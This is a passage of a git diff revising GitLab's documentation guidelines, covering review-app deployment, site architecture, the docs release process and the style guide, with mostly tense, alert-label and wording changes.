+369,7 @@ You can combine one or more of the following: ### GitLab `/help` tests Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/features/help_pages_spec.rb) -are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) will work correctly from `/help`. +are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`. For example, [GitLab.com's `/help`](https://gitlab.com/help). ## Docs site architecture @@ -381,7 +385,7 @@ on how the left-side navigation menu is built and updated. ## Previewing the changes live -NOTE: **Note:** +NOTE: To preview your changes to documentation locally, follow this [development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md). @@ -392,20 +396,20 @@ The live preview is currently enabled for the following projects: If your merge request has docs changes, you can use the manual `review-docs-deploy` job to deploy the docs review app for your merge request. -You will need at least Maintainer permissions to be able to run it. +You need at least Maintainer permissions to be able to run it.  You must push a branch to those repositories, as it doesn't work for forks. -The `review-docs-deploy*` job will: +The `review-docs-deploy*` job: -1. Create a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) +1. Creates a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) project named after the scheme: `docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID`, where `DOCS_GITLAB_REPO_SUFFIX` is the suffix for each product, e.g, `ee` for EE, `omnibus` for Omnibus GitLab, etc, and `CI_MERGE_REQUEST_IID` is the ID of the respective merge request. -1. Trigger a cross project pipeline and build the docs site with your changes. +1. Triggers a cross project pipeline and build the docs site with your changes. In case the review app URL returns 404, this means that either the site is not yet deployed, or something went wrong with the remote pipeline. Give it a few @@ -414,11 +418,11 @@ remote pipeline from the link in the merge request's job output. If the pipeline failed or got stuck, drop a line in the `#docs` chat channel. Make sure that you always delete the branch of the merge request you were -working on. If you don't, the remote docs branch won't be removed either, -and the server where the Review Apps are hosted will eventually be out of +working on. If you don't, the remote docs branch isn't removed either, +and the server where the Review Apps are hosted can eventually run out of disk space. -TIP: **Tip:** +NOTE: Someone with no merge rights to the GitLab projects (think of forks from contributors) cannot run the manual job. In that case, you can ask someone from the GitLab team who has the permissions to do that for you. @@ -449,7 +453,7 @@ If you want to know the in-depth details, here's what's really happening: - The number of the merge request is added so that you can know by the `gitlab-docs` branch name the merge request it originated from. 1. The remote branch is then created if it doesn't exist (meaning you can - re-run the manual job as many times as you want and this step will be skipped). + re-run the manual job as many times as you want and this step is skipped). 1. A new cross-project pipeline is triggered in the docs project. 1. The preview URL is shown both at the job output and in the merge request widget. You also get the link to the remote pipeline. @@ -494,7 +498,7 @@ To run the tool on an existing screenshot generator, take the following steps: 1. Set up the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md). 1. Navigate to the subdirectory with your cloned GitLab repository, typically `gdk/gitlab`. 1. Make sure that your GDK database is fully migrated: `bin/rake db:migrate RAILS_ENV=development`. -1. Install pngquant, see the tool website for more info: [`pngquant`](https://pngquant.org/) +1. Install pngquant, see the tool website for more information: [`pngquant`](https://pngquant.org/) 1. Run `scripts/docs_screenshots.rb spec/docs_screenshots/<name_of_screenshot_generator>.rb <milestone-version>`. 1. Identify the location of the screenshots, based on the `gitlab/doc` location defined by the `it` parameter in your script. 1. Commit the newly created screenshots. @@ -537,8 +541,12 @@ To have the screenshot focuses few more steps are needed: - **wait for the content**: `expect(screenshot_area).to have_content 'Expiration interval'` - **set the crop area**: `set_crop_data(screenshot_area, 20)` -In particular `set_crop_data` accepts as arguments: a `DOM` element and a padding, the padding will be added around the element enlarging the screenshot area. +In particular, `set_crop_data` accepts as arguments: a `DOM` element and a +padding. The padding is added around the element, enlarging the screenshot area. #### Live example Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md index 13c6140114f..c8c48e71b48 100644 --- a/doc/development/documentation/restful_api_styleguide.md +++ b/doc/development/documentation/restful_api_styleguide.md @@ -3,7 +3,7 @@ type: reference, dev stage: none group: Development info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" -description: "Writing styles, markup, formatting, and other standards for GitLab's RESTful APIs." +description: "Writing styles, markup, formatting, and other standards for the GitLab RESTful APIs." --- # RESTful API @@ -107,10 +107,10 @@ Rendered example: ## cURL Examples -The following sections include a set of [cURL](https://curl.haxx.se) examples +The following sections include a set of [cURL](https://curl.se/) examples you can use in the API documentation. -CAUTION: **Caution:** +WARNING: Do not use information for real users, URLs, or tokens. For documentation, refer to our relevant style guide sections on [Fake user information](styleguide/index.md#fake-user-information), [Fake URLs](styleguide/index.md#fake-urls), and [Fake tokens](styleguide/index.md#fake-tokens). diff --git a/doc/development/documentation/site_architecture/deployment_process.md b/doc/development/documentation/site_architecture/deployment_process.md index f101a669968..d92f58e5501 100644 --- a/doc/development/documentation/site_architecture/deployment_process.md +++ b/doc/development/documentation/site_architecture/deployment_process.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Documentation deployment process @@ -36,7 +36,7 @@ and tag all tooling images locally: ``` For each image, there's a manual job under the `images` stage in -[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at will. +[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) which can be invoked at any time. ## Update an old Docker image with new upstream docs content @@ -46,12 +46,12 @@ for the version in question. ## Porting new website changes to old versions -CAUTION: **Warning:** +WARNING: Porting changes to older branches can have unintended effects as we're constantly changing the backend of the website. Use only when you know what you're doing and make sure to test locally. -The website will keep changing and being improved. In order to consolidate +The website keeps changing and being improved. In order to consolidate those changes to the stable branches, we'd need to pick certain changes from time to time. diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md index 21b0c4b6b43..fcf4662502f 100644 --- a/doc/development/documentation/site_architecture/global_nav.md +++ b/doc/development/documentation/site_architecture/global_nav.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "Learn how GitLab docs' global navigation works and how to add new items." --- @@ -101,11 +101,11 @@ The global nav has 3 components: The available sections are described on the table below: -| Section | Description | -| ------------- | ------------------------------------------ | -| User | Documentation for the GitLab's user UI. | -| Administrator | Documentation for the GitLab's Admin Area. | -| Contributor | Documentation for developing GitLab. | +| Section | Description | +| ------------- | ------------------------------------ | +| User | Documentation for the GitLab UI. | +| Administrator | Documentation for the Admin Area. | +| Contributor | Documentation for developing GitLab. | The majority of the links available on the nav were added according to the UI. The match is not perfect, as for some UI nav items the documentation doesn't @@ -250,7 +250,7 @@ below the doc link: ``` All nav links are clickable. If the higher-level link does not have a link -of its own, it must link to its first sub-item link, mimicking GitLab's navigation. +of its own, it must link to its first sub-item link, mimicking the navigation in GitLab. This must be avoided so that we don't have duplicated links nor two `.active` links at the same time. @@ -292,7 +292,7 @@ and the following syntax rules. an "information" icon on the nav to make the user aware that the feature is EE-only. -CAUTION: **Caution:** +WARNING: All links present on the data file must end in `.html`, not `.md`. Do not start any relative link with a forward slash `/`. diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md index 3772746e25b..be25a083948 100644 --- a/doc/development/documentation/site_architecture/index.md +++ b/doc/development/documentation/site_architecture/index.md @@ -1,8 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -description: "Learn how GitLab's documentation website is architectured." +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Documentation site architecture @@ -14,8 +13,8 @@ static site generator. ## Architecture -While the source of the documentation content is stored in GitLab's respective product -repositories, the source that is used to build the documentation +While the source of the documentation content is stored in the repositories for +each GitLab product, the source that is used to build the documentation site _from that content_ is located at <https://gitlab.com/gitlab-org/gitlab-docs>. The following diagram illustrates the relationship between the repositories @@ -46,7 +45,7 @@ from where content is sourced, the `gitlab-docs` project, and the published outp H -- symlink --> G ``` -You will not find any GitLab docs content in the `gitlab-docs` repository. +GitLab docs content isn't kept in the `gitlab-docs` repository. All documentation files are hosted in the respective repository of each product, and all together are pulled to generate the docs website: @@ -55,14 +54,14 @@ product, and all together are pulled to generate the docs website: - [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs) - [GitLab Chart](https://gitlab.com/charts/gitlab/tree/master/doc) -NOTE: **Note:** +NOTE: In September 2019, we [moved towards a single codebase](https://gitlab.com/gitlab-org/gitlab/-/issues/2952), as such the docs for CE and EE are now identical. For historical reasons and in order not to break any existing links throughout the internet, we still maintain the CE docs (`https://docs.gitlab.com/ce/`), although it is hidden from the website, and is now a symlink to the EE docs. When [Pages supports redirects](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24), -we will be able to remove this completely. +we can remove this completely. ## Assets @@ -114,7 +113,7 @@ located in the [Dockerfiles directory](https://gitlab.com/gitlab-org/gitlab-docs If you need to rebuild the Docker images immediately (must have maintainer level permissions): -CAUTION: **Caution:** +WARNING: If you change the dockerfile configuration and rebuild the images, you can break the master pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an image with a different name first and test it to ensure you do not break the pipelines. @@ -179,7 +178,7 @@ we reference the array with a symbol (`:versions`). Whenever the custom CSS and JavaScript files under `content/assets/` change, make sure to bump their version in the front matter. This method guarantees that -your changes will take effect by clearing the cache of previous files. +your changes take effect by clearing the cache of previous files. Always use Nanoc's way of including those files, do not hardcode them in the layouts. For example use: @@ -196,7 +195,7 @@ The links pointing to the files should be similar to: <%= @items['/path/to/assets/file.*'].path %> ``` -Nanoc will then build and render those links correctly according with what's +Nanoc then builds and renders those links correctly according with what's defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/Rules). ## Linking to source files @@ -236,7 +235,7 @@ If you’re a GitLab team member, find credentials for the Algolia dashboard in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). To receive weekly reports of the search usage, search the Google doc with title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`, -and add a comment with your email. You'll be added to the alias that gets the weekly +and add a comment with your email to be added to the alias that gets the weekly reports. ## Monthly release process (versions) diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md index 547adc89a08..ba5363dbb71 100644 --- a/doc/development/documentation/site_architecture/release_process.md +++ b/doc/development/documentation/site_architecture/release_process.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Docs monthly release process @@ -26,7 +26,7 @@ To add a new charts version: version mapping. Note that only the `major.minor` version is needed. 1. Create a new merge request and merge it. -TIP: **Tip:** +NOTE: It can be handy to create the future mappings since they are pretty much known. In that case, when a new GitLab version is released, you don't have to repeat this first step. @@ -44,14 +44,14 @@ this needs to happen when the stable branches for all products have been created ``` A new `Dockerfile.12.0` should have been created and `.gitlab-ci.yml` should - have the branches variables updated into a new branch. They will be automatically + have the branches variables updated into a new branch. They are automatically committed. 1. Push the newly created branch, but **don't create a merge request**. - Once you push, the `image:docker-singe` job will create a new Docker image + After you push, the `image:docs-single` job creates a new Docker image tagged with the branch name you created in the first step. In the end, the - image will be uploaded in the [Container Registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry) - and it will be listed under the `registry` environment folder at + image is uploaded in the [Container Registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry) + and it is listed under the `registry` environment folder at `https://gitlab.com/gitlab-org/gitlab-docs/-/environments/folders/registry` (must have developer access). @@ -66,7 +66,7 @@ Visit `http://localhost:4000/12.0/` to see if everything works correctly. ## 3. Create the release merge request -NOTE: **Note:** +NOTE: To be [automated](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/750). Now it's time to create the monthly release merge request that adds the new @@ -114,20 +114,20 @@ version and rotates the old one: The versions dropdown is in a way "hardcoded". When the site is built, it looks at the contents of `content/_data/versions.yaml` and based on that, the dropdown -is populated. So, older branches will have different content, which means the -dropdown will list one or more releases behind. Remember that the new changes of +is populated. Older branches have different content, which means the +dropdown list is one or more releases behind. Remember that the new changes of the dropdown are included in the unmerged `release-X-Y` branch. The content of `content/_data/versions.yaml` needs to change for all online versions (stable branches `X.Y` of the `gitlab-docs` project): -1. Run the Rake task that will create all the respective merge requests needed to - update the dropdowns and will be set to automatically be merged when their +1. Run the Rake task that creates all the respective merge requests needed to + update the dropdowns. Set these to automatically be merged when their pipelines succeed: - NOTE: **Note:** + NOTE: The `release-X-Y` branch needs to be present locally, - and you need to have switched to it, otherwise the Rake task will fail. + and you need to have switched to it, otherwise the Rake task fails. ```shell git checkout release-X-Y @@ -138,13 +138,13 @@ versions (stable branches `X.Y` of the `gitlab-docs` project): to check that their pipelines pass, and once all are merged, proceed to the following and final step. -TIP: **Tip:** +NOTE: In case a pipeline fails, see [troubleshooting](#troubleshooting). ## 5. Merge the release merge request The dropdown merge requests should have now been merged into their respective -version (stable `X.Y` branch), which will trigger another pipeline. At this point, +version (stable `X.Y` branch), which triggers another pipeline. At this point, you need to only babysit the pipelines and make sure they don't fail: 1. Check the [pipelines page](https://gitlab.com/gitlab-org/gitlab-docs/pipelines) @@ -152,9 +152,9 @@ you need to only babysit the pipelines and make sure they don't fail: 1. After all the pipelines of the online versions succeed, merge the release merge request. 1. Finally, run the [`Build docker images weekly` pipeline](https://gitlab.com/gitlab-org/gitlab-docs/pipeline_schedules) - that will build the `:latest` and `:archives` Docker images. + that builds the `:latest` and `:archives` Docker images. -Once the scheduled pipeline succeeds, the docs site will be deployed with all +Once the scheduled pipeline succeeds, the docs site is deployed with all new versions online. ## Troubleshooting @@ -163,7 +163,7 @@ Releasing a new version is a long process that involves many moving parts. ### `test_internal_links_and_anchors` failing on dropdown merge requests -DANGER: **Deprecated:** +WARNING: We now pin versions in the `.gitlab-ci.yml` of the respective branch, so the steps below are deprecated. diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md index 3cc7f49f05e..fd0c29f0fc1 100644 --- a/doc/development/documentation/structure.md +++ b/doc/development/documentation/structure.md @@ -1,7 +1,7 @@ --- stage: none group: Style Guide -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: What to include in GitLab documentation pages. --- @@ -9,7 +9,7 @@ description: What to include in GitLab documentation pages. Use these standards to contribute content to the GitLab documentation. -Before getting started, familiarize yourself with [GitLab's Documentation guidelines](index.md) +Before getting started, familiarize yourself with [Documentation guidelines for GitLab](index.md) and the [Documentation Style Guide](styleguide/index.md). ## Components of a documentation page @@ -39,7 +39,7 @@ pre-deployment and post-deployment tasks. ## Template for new docs -Follow the [folder structure and file name guidelines](styleguide/index.md#folder-structure-overview) +Follow the [folder structure and filename guidelines](styleguide/index.md#folder-structure-overview) and create a new topic by using this template: ```markdown @@ -53,7 +53,7 @@ in Google Search snippets. It may help to write the page intro first, and then r stage: Add the stage name here group: Add the group name here info: To determine the technical writer assigned to the Stage/Group associated with this page, -see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature or Use Case Name **[TIER]** (1) diff --git a/doc/development/documentation/styleguide/img/tier_badge.png b/doc/development/documentation/styleguide/img/tier_badge.png Binary files differnew file mode 100644 index 00000000000..674d869da9b --- /dev/null +++ b/doc/development/documentation/styleguide/img/tier_badge.png diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 41e38266a58..971652f76d3 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -1,16 +1,15 @@ --- stage: none group: Style Guide -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.' --- # Documentation Style Guide -This document defines the standards for GitLab's documentation content and -files. +This document defines the standards for GitLab documentation. -For broader information about the documentation, see the [Documentation guidelines](index.md). +For broader information about the documentation, see the [Documentation guidelines](../index.md). For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages/) section. @@ -48,20 +47,20 @@ documentation. ### All information Include problem-solving actions that may address rare cases or be considered -_risky_, so long as proper context is provided in the form of fully detailed +_risky_, but provide proper context through fully-detailed warnings and caveats. This kind of content should be included as it could be helpful to others and, when properly explained, its benefits outweigh the risks. If you think you have found an exception to this rule, contact the Technical Writing team. -We will add all troubleshooting information to the documentation, no matter how +GitLab adds all troubleshooting information to the documentation, no matter how unlikely a user is to encounter a situation. For the [Troubleshooting sections](#troubleshooting), people in GitLab Support can merge additions themselves. ### All media types Include any media types/sources if the content is relevant to readers. You can -freely include or link presentations, diagrams, videos, and so on; no matter who +freely include or link presentations, diagrams, and videos. No matter who it was originally composed for, if it is helpful to any of our audiences, we can include it. @@ -84,25 +83,25 @@ different types. For example, [Divio recommends](https://www.divio.com/blog/docu At GitLab, we have so many product changes in our monthly releases that we can't afford to continuously update multiple types of information. If we have multiple -types, the information will become outdated. Therefore, we have a +types, the information becomes outdated. Therefore, we have a [single template](../structure.md) for documentation. -We currently do not distinguish specific document types, although we are open to +GitLab documentation does not distinguish specific document types. We are open to reconsidering this policy after the documentation has reached a future stage of maturity and quality. If you are reading this, then despite our continuous improvement efforts, that point hasn't been reached. ### Link instead of summarize -There is a temptation to summarize the information on another page. This will -cause the information to live in two places. Instead, link to the single source +There is a temptation to summarize the information on another page, which +causes the information to live in two places. Instead, link to the single source of truth and explain why it is important to consume the information. ### Organize by topic, not by type -Beyond top-level audience-type folders (for example, `administration`), we -organize content by topic, not by type, so it can be located in the -single-source-of-truth (SSOT) section for the subject matter. +We organize content by topic, not by type, so it can be located in the +single-source-of-truth (SSOT) section for the subject matter. Top-level audience-type +folders, like `administration`, are exceptions. For example, do not create groupings of similar media types. For example: @@ -117,38 +116,37 @@ cross-link between any related content. ### Docs-first methodology -We employ a _documentation-first methodology_ to help ensure the documentation -remains a complete and trusted resource, and to make communicating about the use +We employ a _documentation-first methodology_. This method ensures the documentation +remains a complete and trusted resource, and makes communicating about the use of GitLab more efficient. - If the answer to a question exists in documentation, share the link to the documentation instead of rephrasing the information. -- When you encounter new information not available in GitLab’s documentation (for +- When you encounter new information not available in GitLab documentation (for example, when working on a support case or testing a feature), your first step should be to create a merge request (MR) to add this information to the documentation. You can then share the MR to communicate this information. -New information that would be useful toward the future usage or troubleshooting -of GitLab should not be written directly in a forum or other messaging system, -but added to a documentation MR and then referenced, as described above. Note +New information about the future usage or troubleshooting +of GitLab should not be written directly in a forum or other messaging system. +Instead, add it to a documentation merge request, then reference it. Note that among any other documentation changes, you can either: - Add a [Troubleshooting section](#troubleshooting) to a doc if none exists. - Un-comment and use the placeholder Troubleshooting section included as part of our [documentation template](../structure.md#template-for-new-docs), if present. -The more we reflexively add useful information to the documentation, the more -(and more successfully) the documentation will be used to efficiently accomplish -tasks and solve problems. +The more we reflexively add information to the documentation, the more +the documentation helps others efficiently accomplish tasks and solve problems. If you have questions when considering, authoring, or editing documentation, ask -the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the -writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages). +the Technical Writing team. They're available on Slack in `#docs` or in GitLab by mentioning the +writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages). Otherwise, forge ahead with your best effort. It does not need to be perfect; the team is happy to review and improve upon your content. Review the [Documentation guidelines](index.md) before you begin your first documentation MR. -Having a knowledge base in any form that's separate from the documentation would +Maintaining a knowledge base separate from the documentation would be against the documentation-first methodology, because the content would overlap with the documentation. @@ -161,11 +159,11 @@ Markdown rendering engine. For a complete Kramdown reference, see the [GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/). The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown) Ruby gem -will support all [GFM markup](../../../user/markdown.md) in the future, which is -all markup supported for display in the GitLab application itself. For now, use -regular Markdown markup, following the rules in the linked style guide. +plans to support all [GitLab Flavored Markdown](../../../user/markdown.md) in the future, which is +all Markdown supported for display in the GitLab application itself. For now, use +regular Markdown, following the rules in the linked style guide. -Note that Kramdown-specific markup (for example, `{:.class}`) doesn't render +Kramdown-specific markup (for example, `{:.class}`) doesn't render properly on GitLab instances under [`/help`](../index.md#gitlab-help). ### HTML in Markdown @@ -184,7 +182,7 @@ GitLab ensures that the Markdown used across all documentation is consistent, as well as easy to review and maintain, by [testing documentation changes](../testing.md) with [markdownlint](../testing.md#markdownlint). This lint test fails when any document has an issue with Markdown formatting that may cause the page to render -incorrectly within GitLab. It will also fail when a document is using +incorrectly in GitLab. It also fails when a document has non-standard Markdown (which may render correctly, but is not the current standard for GitLab documentation). @@ -194,7 +192,7 @@ A rule that could cause confusion is `MD044/proper-names`, as it might not be immediately clear what caused markdownlint to fail, or how to correct the failure. This rule checks a list of known words, listed in the `.markdownlint.json` file in each project, to verify proper use of capitalization and backticks. -Words in backticks will be ignored by markdownlint. +Words in backticks are ignored by markdownlint. In general, product names should follow the exact capitalization of the official names of the products, protocols, and so on. See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json) @@ -211,7 +209,7 @@ included in backticks. For example: - "Change the `needs` keyword in your `.gitlab.yml`..." - `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks. - Additionally, `.gitlab.yml` will fail markdownlint without backticks as it + Additionally, `.gitlab.yml` without backticks fails markdownlint because it does not have capital G or L. - "Run `git clone` to clone a Git repository..." - `git clone` is a command, so it must be lowercase, while Git is the product, @@ -241,23 +239,23 @@ to update. Put files for a specific product area into the related folder: -| Directory | What belongs here | -|:----------------------|:----------------------------------------------------------------------------------------------------------------------------------------| -| `doc/user/` | User related documentation. Anything that can be done within the GitLab user interface goes here, including usage of the `/admin` interface. | -| `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. The admin settings that can be accessed by using GitLab's interface exist under `doc/user/admin_area/`. | -| `doc/api/` | API related documentation. | +| Directory | What belongs here | +|:----------------------|:------------------| +| `doc/user/` | User related documentation. Anything that can be done in the GitLab user interface goes here, including usage of the `/admin` interface. | +| `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. Administrator settings in the GitLab user interface are under `doc/user/admin_area/`. | +| `doc/api/` | API-related documentation. | | `doc/development/` | Documentation related to the development of GitLab, whether contributing code or documentation. Related process and style guides should go here. | -| `doc/legal/` | Legal documents about contributing to GitLab. | -| `doc/install/` | Contains instructions for installing GitLab. | -| `doc/update/` | Contains instructions for updating GitLab. | -| `doc/topics/` | Indexes per topic (`doc/topics/topic_name/index.md`): all resources for that topic. | +| `doc/legal/` | Legal documents about contributing to GitLab. | +| `doc/install/` | Contains instructions for installing GitLab. | +| `doc/update/` | Contains instructions for updating GitLab. | +| `doc/topics/` | Indexes per topic (`doc/topics/topic_name/index.md`): all resources for that topic. | ### Work with directories and files Refer to the following items when working with directories and files: 1. When you create a new directory, always start with an `index.md` file. - Don't use another file name and _do not_ create `README.md` files. + Don't use another filename and _do not_ create `README.md` files. 1. _Do not_ use special characters and spaces, or capital letters in file names, directory names, branch names, and anything that generates a path. 1. When creating or renaming a file or directory and it has more than one word @@ -277,24 +275,24 @@ Refer to the following items when working with directories and files: Every page you would navigate under `/profile` should have its own document, for example, `account.md`, `applications.md`, or `emails.md`. - `doc/user/dashboard/` should contain all dashboard related documentation. - - `doc/user/admin_area/` should contain all admin related documentation - describing what can be achieved by accessing GitLab's admin interface - (_not to be confused with `doc/administration` where server access is - required_). + - `doc/user/admin_area/` should contain all administrator-related + documentation describing what can be achieved by accessing the GitLab + administrator interface (not to be confused with `doc/administration` where + server access is required). - Every category under `/admin/application_settings/` should have its own document located at `doc/user/admin_area/settings/`. For example, the **Visibility and Access Controls** category should have a document located at `doc/user/admin_area/settings/visibility_and_access_controls.md`. 1. The `doc/topics/` directory holds topic-related technical content. Create `doc/topics/topic_name/subtopic_name/index.md` when subtopics become necessary. - General user- and admin- related documentation, should be placed accordingly. + General user and administrator documentation should be placed accordingly. 1. The `/university/` directory is *deprecated* and the majority of its documentation has been moved. If you're unsure where to place a document or a content addition, this shouldn't stop you from authoring and contributing. Use your best judgment, and then ask -the reviewer of your MR to confirm your decision, or ask a technical writer at -any stage in the process. The technical writing team will review all +the reviewer of your MR to confirm your decision. You can also ask a technical writer at +any stage in the process. The technical writing team reviews all documentation changes, regardless, and can move content if there is a better place for it. @@ -305,9 +303,9 @@ Do not include the same information in multiple places. ### References across documents -- Give each folder an `index.md` page that introduces the topic, introduces the - pages within, and links to the pages within (including to the index pages of - any next-level subpaths). +- Give each folder an `index.md` page that introduces the topic, and both introduces + and links to the child pages, including to the index pages of + any next-level sub-paths. - To ensure discoverability, ensure each new or renamed doc is linked from its higher-level index page and other related pages. - When making reference to other GitLab products and features, link to their @@ -315,7 +313,7 @@ Do not include the same information in multiple places. - When making reference to third-party products or technologies, link out to their external sites, documentation, and resources. -### Structure within documents +### Structure in documents - Include any and all applicable subsections as described on the [structure and template](../structure.md) page. @@ -331,11 +329,12 @@ GitLab documentation should be clear and easy to understand. - Write in US English with US grammar. (Tested in [`British.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/British.yml).) - Use [inclusive language](#inclusive-language). -### Point of view +### Trademark -In most cases, it’s appropriate to use the second-person (you, yours) point of -view, because it’s friendly and easy to understand. (Tested in -[`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).) +Only use the GitLab name and trademarks in accordance with +[GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/inbound-marketing/digital-experience/brand-guidelines/#trademark). + +Don't use the possessive form of the word GitLab (`GitLab's`). ### Capitalization @@ -353,7 +352,7 @@ item, use the same capitalization that's displayed in the user interface. Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/) and typically match what's called for in this Documentation Style Guide. -If you think there's a mistake in the way the user interface text is styled, +If you think the user interface text contains style mistakes, create an issue or an MR to propose a change to the user interface text. #### Feature names @@ -524,78 +523,35 @@ You can use the following fake tokens as examples: | Health check token | `Tu7BgjR9qeZTEyRzGG2P` | | Request profile token | `7VgpS4Ax5utVD2esNstz` | -### Language to avoid - -When creating documentation, limit or avoid the use of the following verb -tenses, words, and phrases: - -- Avoid jargon when possible, and when not possible, define the term or - [link to a definition](#links-to-external-documentation). -- Avoid uncommon words when a more-common alternative is possible, ensuring that - content is accessible to more readers. -- Don't write in the first person singular. - (Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).) - - Instead of _I_ or _me_, use _we_, _you_, _us_, or _one_. - - When possible, stay user focused by writing in the second person (_you_ or - the imperative). -- Don't overuse "that". In many cases, you can remove "that" from a sentence - and improve readability. -- Avoid use of the future tense: - - Instead of "after you execute this command, GitLab will display the - result", use "after you execute this command, GitLab displays the result". - - Only use the future tense to convey when the action or result will actually - occur at a future time. -- Don't use slashes to clump different words together or as a replacement for - the word "or": - - Instead of "and/or," consider using "or," or use another sensible - construction. - - Other examples include "clone/fetch," author/assignee," and - "namespace/repository name." Break apart any such instances in an - appropriate way. - - Exceptions to this rule include commonly accepted technical terms, such as - CI/CD and TCP/IP. -<!-- vale gitlab.LatinTerms = NO --> -- We discourage the use of Latin abbreviations and terms, such as _e.g._, - _i.e._, _etc._, or _via_, as even native users of English can misunderstand - those terms. (Tested in [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml).) - - Instead of _i.e._, use _that is_. - - Instead of _via_, use _through_. - - Instead of _e.g._, use _for example_, _such as_, _for instance_, or _like_. - - Instead of _etc._, either use _and so on_ or consider editing it out, since - it can be vague. -<!-- vale gitlab.LatinTerms = YES --> -- Avoid using the word *currently* when talking about the product or its - features. The documentation describes the product as it is, and not as it - will be at some indeterminate point in the future. -- Avoid the using the word *scalability* with increasing GitLab's performance - for additional users. Using the words *scale* or *scaling* in other cases is - 